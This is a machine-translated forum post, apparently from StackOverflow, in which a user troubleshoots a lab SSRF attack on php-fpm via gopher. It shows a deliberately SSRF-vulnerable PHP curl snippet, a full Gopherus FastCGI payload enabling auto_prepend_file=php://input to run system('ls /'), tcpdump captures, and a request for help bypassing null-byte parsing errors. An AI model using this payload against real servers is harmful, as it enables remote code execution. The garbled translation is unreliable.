Проблема с парсингом завитков при атаке на php-fpm в интрасети с использованием протоколов SSRF+gopher.Php

Кемеровские программисты php общаются здесь
Ответить Пред. темаСлед. тема
Anonymous
 Проблема с парсингом завитков при атаке на php-fpm в интрасети с использованием протоколов SSRF+gopher.

Сообщение Anonymous »

Я построил сервер в докере, используя nginx+php-fpm (nginx/1.18.0, PHP 8.2.3 (fpm-fcgi), Zend Engine v4.2.3), и запустил веб-страницу ssrf.php с уязвимостью ssrf, где находится часть кода, имеющая уязвимость ssrf

Код: Выделить всё

if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['url'])) {
$url = trim($_POST['url']);
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$result = curl_exec($ch);
Я сопоставил порт 80 в докере, где работает веб-страница, с портом 8085 на хосте и смог успешно получить к нему доступ, никаких проблем с этой частью сетевого подключения нет.< /p>
Поскольку php-fpm в докере прослушивает порт 9000 из 127.0.0.1, я теперь пытаюсь атаковать php-fpm в интрасети докера через запрос на стороне сервера. уязвимость подделки (SSRF) на хосте (где я сопоставил веб-страницу в докере) с использованием протокола gopher для создания данных в формате fastcgi. Полезная нагрузка атаки следующая (сгенерирована https://github.com/tarunkant/Gopherus):

Код: Выделить всё

gopher://127.0.0.1:9000/\_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0B%03%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1ESCRIPT_FILENAME/var/wwwroot/default/index.php%0D%01DOCUMENT_ROOT/%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
Вот проблема: я использую tcpdump -i lo -A -s 0 порт 9000 в докере, чтобы получить все данные, полученные phpfpm, и я обнаружил это, когда Я получил доступ к указанному выше суслику через ssrf-уязвимую php-страницу, phpfpm получает данные от этого посещения только один раз (что, очевидно, не имеет смысла и предполагает, что содержимое моего суслика вообще не работает корректно: если содержимое протокола gopher работает правильно, то phpfpm должен получать данные из ssrf.php дважды. Если протокол gopher работает правильно, то phpfpm должен получать данные дважды, сначала из ssrf.php. , а затем из php-fpm из-за анализа содержимого gopher уязвимым crul в ssrf.php.
Поэтому я попытался сначала устранить неполадки, если они есть. является ли проблема с поддержкой моего протокола gopher протоколом gopher?
Я использовал команду Curl -v, чтобы увидеть, что Gopher включен в возврат, и похоже, что мой Curl поддерживает протокол gopher .
Далее попробуйте дальше: используйте команду Curl для доступа, инициированного php-fpm, команду для Curl gopher://127.0.0.1:9000/123, одновременно с захватом tcpdump порт 9000 локальных данных обратной связи, обнаружено, что я могу перехватить TCP-квитирование в три раза больше пакета, что указывает на то, что мой локон полностью поддерживает протокол gopher, и это означает, что мой локон полностью поддерживает протокол gopher и может инициировать доступ к php-fpm, работающему на порт 9000.
Далее я попытался получить доступ к полному коду атаки с помощью команды Curl

Код: Выделить всё

curl -v "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0B%03%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1ESCRIPT_FILENAME/var/wwwroot/default/index.php%0D%01DOCUMENT_ROOT/%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"
Ответить:

Код: Выделить всё

*   Trying 127.0.0.1:9000...
* Connected to 127.0.0.1 (127.0.0.1) port 9000 (#0)
* Closing connection 0
curl: (3) URL using bad/illegal format or missing URL
< /code>
Между тем, в оболочке, где я запускаю tcpdump для прослушивания данных, получены следующие данные: < /p>
10:26:24.961141 IP localhost.36782 > localhost.9000: Flags [S], seq 4207458222, win 65495, options [mss 65495,sackOK,TS val 3105304826 ecr 0,nop,wscale 7], length 0
E..< .@.@.............#(.............0.........
..0.........
10:26:24.961154 IP localhost.9000 > localhost.36782: Flags [S.], seq 276791369, ack 4207458223, win 65483, options [mss 65495,sackOK,TS val 3105304826 ecr 3105304826,nop,wscale 7], length 0
E.. localhost.9000: Flags [F.], seq 1, ack 1, win 512, options [nop,nop,TS val 3105304827 ecr 3105304826], length 0
E..4 .@.@.............#(.......J.....(.....
..0...0.
10:26:24.963037 IP localhost.9000 > localhost.36782: Flags [.], ack 2, win 512, options [nop,nop,TS val 3105304828 ecr 3105304827], length 0
E..4..@.@...........#(.....J.........(.....
..0...0.
10:26:24.967882 IP localhost.9000 > localhost.36782: Flags [F.], seq 1, ack 2, win 512, options [nop,nop,TS val 3105304832 ecr 3105304827], length 0
E..4..@.@...........#(.....J.........(.....
..1...0.
10:26:24.967888 IP localhost.36782 > localhost.9000: Flags [.], ack 2, win 512, options [nop,nop,TS val 3105304832 ecr 3105304832], length 0
E..4..@.@.
Похоже, что данные не передавались по этому соединению TCP, полезная нагрузка не была успешно отправлена. 3) URL -адрес с использованием плохого/незаконного формата или отсутствующего URL 
, то есть моя полезная нагрузка на атаку содержит %00, то есть нулевые символы, но моя полезная нагрузка атаки была сгенерирована с использованием инструмента на GitHub, упомянутом выше, который многие люди обычно использовали в сценарии атаки SSRF на PHP-FPM. Поэтому я думаю, что полезная нагрузка на атаку в порядке, так как мне обойти %00, что приводит к ошибкам при анализе сгиба? Протокол Gopher, содержащий поток TCP, соответствующий протоколу FASTCGI, чтобы атаковать PHP-FPM на интрасети?

Подробнее здесь: https://stackoverflow.com/questions/793 ... -using-ssr
Реклама
Ответить Пред. темаСлед. тема

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

  • Похожие темы
    Ответы
    Просмотры
    Последнее сообщение

Вернуться в «Php»